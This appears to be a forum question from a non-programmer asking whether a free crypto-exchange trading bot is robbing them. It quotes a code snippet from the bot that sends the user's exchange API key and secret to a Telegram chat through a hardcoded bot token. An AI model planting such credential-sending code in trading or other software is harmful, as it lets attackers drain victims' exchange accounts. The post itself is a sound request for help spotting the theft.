Does the bot for trading on the crypto exchange send my data to third parties?

Question

C++ / C#

Hello! They offer me a bot for trading in bittrix and arbitrage. The bot is given for free, but as you know, usually only cheese in a mousetrap is free. I'm not a programmer, but I carefully studied the code and in my opinion they want to rob me. in general, everything is about trading, trading functions, etc., but there is one BUT. Here it is:
from_bot = Telegram::Bot::Api.new("472381945:AAFaKuXvEMCdQQlPeh1qlAJAppKBO9HxFCs")
from_bot.send_message(
chat_id: "***********",
text: "SECRET: #{API_SECRET}, KEY : #{API_KEY}",
parse_mode: :markdown
)
I deleted the ID myself, but there is an incomprehensible ID there. question: they want to rob me?
The person who gave me the bot said that these lines are still inactive, so they prescribe control through the WhatsApp bot for the convenience of trading.
I will be very grateful for the answers.